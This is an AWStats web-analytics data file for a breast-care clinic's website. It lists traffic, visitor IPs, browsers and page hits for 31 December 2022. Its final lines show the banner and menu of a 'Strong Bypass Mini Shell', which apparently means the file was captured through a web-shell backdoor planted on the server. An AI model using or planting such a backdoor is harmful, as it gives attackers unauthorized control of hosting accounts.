/home3/vehiclea/tmp/awstats/awstats122022.apbreastcentre.vehicleautofinance.com.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202212 will be lost/reset.
# Last config file used to build this data file was /home3/vehiclea/tmp/awstats/awstats.apbreastcentre.vehicleautofinance.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2035                
POS_TIME 2714                
POS_VISITOR 8098                
POS_DAY 10063               
POS_DOMAIN 3299                
POS_LOGIN 3727                
POS_ROBOT 3882                
POS_WORMS 4156                
POS_EMAILSENDER 4287                
POS_EMAILRECEIVER 4430                
POS_SESSION 10148               
POS_SIDER 10328               
POS_FILETYPES 4565                
POS_DOWNLOADS 4824                
POS_OS 4872                
POS_BROWSER 5136                
POS_SCREENSIZE 5747                
POS_UNKNOWNREFERER 5821                
POS_UNKNOWNREFERERBROWSER 6161                
POS_ORIGIN 6301                
POS_SEREFERRALS 6440                
POS_PAGEREFS 6603                
POS_SEARCHWORDS 6950                
POS_KEYWORDS 7102                
POS_MISC 2378                
POS_ERRORS 7161                
POS_CLUSTER 3583                
POS_SIDER_404 7282                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20230101003212 75 16970 12454811159215
FirstTime 20221231011535
LastTime 20221231211901
LastUpdate 20230101051205 75 0 74 0 0
TotalVisits 52                  
TotalUnique 48                  
MonthHostsKnown 0                   
MonthHostsUnknown 49                  
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
PDFSupport 0 0 0
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
WindowsMediaPlayerSupport 0 0 0
TotalMisc 0 0 0
FlashSupport 0 0 0
JavascriptDisabled 0 0 0
AddToFavourites 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 0 0 0 0 0 0
1 107 569 13994522 27 44 71251
2 40 315 6184881 43 65 261451
3 11 76 2363875 4 4 0
4 0 0 0 0 0 0
5 0 0 0 0 0 0
6 0 0 0 0 0 0
7 0 0 0 2 4 16100
8 0 0 0 0 0 0
9 2 2 50601 2 2 309
10 1 1 8050 1 2 8050
11 3 3 24150 0 2 0
12 0 0 0 0 0 0
13 1 1 8050 0 0 0
14 0 0 0 0 0 0
15 4 4 32200 8 8 664
16 2 2 50601 2 2 8133
17 6 6 98640 6 6 415
18 3 5 58540 7 9 131962
19 4 4 85496 1 1 83
20 3 3 20821 0 0 0
21 3 3 67982 1 1 83
22 0 0 0 0 1 0
23 0 0 0 1 2 452
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 16
us 92 352 9297090
in 65 594 13000487
ru 7 7 185023
zz 5 5 8398
cl 4 4 85496
gb 4 13 218137
ro 2 5 78079
sc 2 2 16100
cz 2 2 16100
ua 1 1 8050
hn 1 1 8050
at 1 4 70029
nl 1 1 8050
cn 1 1 8050
id 1 1 8050
hk 1 1 33220
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 4
spider 6 131796 20221231180252 0
feed 4 70029 20221231013216 0
YandexBot/ 2 16100 20221231074016 0
Go\-http\-client/ 2 16100 20221231164839 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 10
gif 13 1461480 0 0
png 299 10015438 0 0
webp 12 14544 0 0
css 169 954804 0 0
Unknown 68 368568 0 0
jpg 103 6552088 0 0
woff2 47 1440004 0 0
html 73 965550 0 0
php 2 34895 0 0
js 208 1241038 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 15
linux 204 18
androidjellybean 4 1
androidoreo 8 2
macosx6 1 1
android 69 6
bsdnetbsd 1 1
macosx9 1 1
win10 543 71
win8.1 3 3
ios_iphone 13 4
win8 2 2
macosx15 69 6
winxp 3 3
Unknown 62 62
win7 11 9
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 28
opera11.01 1 1
firefox21.0 1 1
chrome108.0.0.0 595 63
chrome83.0.4103.34 2 2
opera53.0.2907.99 4 4
firefox21.0.0 1 1
chrome103.0.0.0 11 11
safari5.0.4 1 1
chrome83.0.4103.44 2 2
firefox107.0 4 1
safari13.0.3 1 1
msie9.0 3 1
chrome83.0.4103.97 3 3
chrome27.0.1453.116 1 1
Unknown 9 9
chrome37.0.2049.0 1 1
chrome68.0.3440.91 8 2
safari16.1 12 3
chrome90.0.4430.72 3 3
chrome104.0.5112.101 201 15
mozilla 53 53
chrome35.0.1916.47 1 1
chrome85.0.4183.102 67 4
chrome30.0.1599.17 1 1
android 4 1
chrome83.0.4087.0 2 2
chrome31.0.1650.16 1 1
chrome36.0.1985.67 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 4
Mozilla/5.0_(compatible;_Let's_Encrypt_validation_server;__https://www.letsencrypt.org) 20221231011540
test 20221231104453
Mozilla/5.0_(compatible;_Domains_Project/1.3.7;__https://domainsproject.org) 20221231011929
Cpanel-HTTP-Client/1.0 20221231030508
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 2
Cpanel-HTTP-Client/1.0 20221231030508
test 20221231104453
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 115 115
From1 0 0
From2 1 3
From3 8 132
From4 66 744
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
www_google_com 1 3
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 4
http://apbreastcentre.com/assets/css/fontawesome.min.css 6 6
http://apbreastcentre.com/assets/css/flaticon.css 2 2
http://apbreastcentre.com/assets/css/style.css 0 12
http://apbreastcentre.com 0 112
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 4
406 5 1130
404 69 0
409 55 4565
206 8 259233
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 7
/.well-known/pki-validation/C24BFC14C533867F1519FE3C13D996FF.txt 1 -
/th1s_1s_a_4o4.html 1 http://www.google.com/url
/.well-known/pki-validation/54DF5E45022AFA2B7AB2088571C625B4.txt 1 -
/wp-login.php 1 -
/assets/fonts/flaticon-set-communication/flaticon-set-communication.ttf 30 http://apbreastcentre.com/assets/css/flaticon-set-communication.css
/robots.txt 5 -
/assets/fonts/flaticon-set-communication/flaticon-set-communication.woff 30 http://apbreastcentre.com/assets/css/flaticon-set-communication.css
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 49
103.186.129.214 49 450 8355570 20221231021318
159.223.109.111 40 40 242162 20221231011929
205.169.39.63 15 201 6586488 20221231011734
162.214.81.24 8 8 512 20221231030508
49.205.103.64 7 72 2363619 20221231031729
103.42.248.26 6 69 2213316 20221231020845
37.139.53.81 6 6 151803 20221231162812
181.214.218.106 4 4 85496 20221231193433
52.90.40.225 4 67 2121491 20221231012232
23.178.112.208 3 3 261 20221231011540
18.224.135.98 3 3 261 20221231011540
45.134.212.197 3 3 67982 20221231211901
45.8.22.134 3 3 20821 20221231201240
52.24.219.225 3 3 261 20221231011540
87.115.231.247 2 8 140058 20221231013201
89.187.177.74 2 2 16100 20221231180627
23.178.112.203 1 1 87 20221231011540
91.218.20.198 1 1 8050 20221231173550
184.154.76.22 1 3 42440 20221231180232
3.15.0.29 1 4 70029 20221231013201
23.90.40.251 1 1 8050 20221231024317
54.68.60.29 1 1 8050 20221231111359
216.131.114.6 1 4 70029 20221231013200
194.36.97.20 1 1 8050 20221231155129
188.241.178.13 1 4 70029 20221231013200
92.40.204.239 0 1 18755 
137.184.89.107 1 1 8050 20221231183330
103.251.167.10 1 1 33220 20221231173439
3.20.206.32 1 1 87 20221231011540
148.113.142.65 1 1 8031 20221231011957
34.211.131.200 1 1 8050 20221231111105
192.42.116.211 1 1 8050 20221231173515
195.78.54.214 1 4 70029 20221231013201
148.113.142.71 1 1 8031 20221231012058
185.100.87.139 1 1 8050 20221231173857
92.40.204.238 1 3 51274 20221231013200
182.43.148.98 1 1 8050 20221231150314
23.128.248.16 1 1 8050 20221231173727
196.16.223.156 1 1 8050 20221231024155
102.165.55.198 1 1 8050 20221231155746
74.84.150.150 1 1 8050 20221231104453
35.165.116.90 1 1 8050 20221231111649
148.113.143.65 1 1 8031 20221231012104
165.231.24.221 1 1 8050 20221231023710
54.212.89.223 1 1 87 20221231011540
68.183.130.239 1 1 0 20221231011726
216.151.183.4 1 4 70029 20221231013200
191.102.151.64 1 1 8050 20221231155622
185.243.218.46 1 1 33220 20221231173718
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 1
20221231 190 994 23048409 52
END_DAY

# Session range - Number of visits
BEGIN_SESSION 4
15mn-30mn 1
30s-2mn 1
5mn-15mn 1
0s-30s 49
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 56
/ 73 965550 44 33
/assets/fonts/fa-regular-400.woff2 12 121968 0 0
/assets/fonts/fa-solid-900.woff2 12 668304 0 0
/assets/fonts/Flaticon.woff2 12 51588 0 2
/assets/fonts/fa-brands-400.woff2 11 598144 0 0
/contact 8 113728 0 5
/about-us 3 20840 0 1
/.well-known/acme-challenge/0idQ5kTItlgogobDOBMgngxbrpsTIwi51KW9MDmDdLA 3 261 3 0
/.well-known/acme-challenge/k4eXBIZwUupFhp4yVE6V0Ls0KwoFuIaZ-JCR6wsYO1s 3 261 3 3
/.well-known/acme-challenge/5whlehcMdTWS2YYV8g12npzHEj46btwwan2-rTVed8w 3 261 0 1
/.well-known/acme-challenge/Rw83B_g5An6-XBu_L8NW-cZVthWEpQIwJ_N8O9p97OY 3 261 0 2
/testimonial 2 10476 0 1
/contact.php 2 34895 0 1
/3dmammogram 1 7732 0 0
/.well-known/acme-challenge/ZPJWR3YA-49S76JP8S8I9CXLB_XJ6S8K 1 64 0 0
/types-of-breast-cancer-and-risk-factors 1 6706 0 1
/.well-known/acme-challenge/_FU1I9K-UI_K5TMRYPEN4FN5ASPVUU7I 1 64 0 1
/breast-conserving-surgery 1 6510 0 0
/oncoplasticsurgery 1 6309 0 0
/breast-cancer-awareness 1 9855 0 0
/best-breast-cosmetic-surgery-hospital-in-guntur 1 6431 0 0
/oncoplastic-surgery 1 6511 0 0
/education 1 10677 0 0
/gallery 1 3990 0 0
/services 1 4257 0 0
/genetic-testing-for-breast-cancer 1 5787 0 0
/breast-ultrasound 1 7590 0 0
/appointment-2 1 4295 0 0
/cosmetic-breast-surgery 1 6378 0 0
/geneticcounselling 1 5789 0 0
/.well-known/acme-challenge/GNRQAPK4G9H-4IC28O83RAWR0T6XMJJZ 1 64 0 0
/3D-mammogram 1 7581 0 0
/breast-imaging-centre-guntur 1 7625 0 0
/women-wellness 1 4466 0 0
/sentinel-lymph-node-biopsy 1 6512 0 0
/sharethecare 1 4666 0 0
/breast-lift 1 6376 0 0
/breast-cancer-surgeries 1 6557 0 0
/lymphedematreatment 1 6309 0 0
/.well-known/acme-challenge/VWAPFKSONRDPQIR_F0197Q6LXI0XE1PI 1 64 0 0
/.well-known/acme-challenge/LK5P3CEW9C25L7OSTPHA-SLTBBKVYHC1 1 64 1 0
/blog 1 4075 0 0
/.well-known/acme-challenge/ADWTUC9N4ACGEDWA0EV3GIN50-VIVXKH 1 64 0 1
/.well-known/acme-challenge/WGFKVXC8HGIKIGCH10W60UZGTS-2EQTM 1 64 1 0
/genetic-counselling 1 5839 0 0
/image-guided-biopsies 1 7595 0 0
/breast-augmentation 1 6379 0 0
/index 1 8031 0 0
/faqs 1 4902 0 0
/modified-radical-mastectomy 1 6522 0 0
/videos 1 4201 0 0
/lymphedema-treatment 1 6365 0 0
/.well-known/acme-challenge/CDCALBIP7L0HDXQP265_UD0T12G_T2C- 1 64 0 0
/breast-imaging 1 7583 0 0
/breast-reduction 1 6383 0 0
/chemotherapy 1 5184 0 0
END_SIDER
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File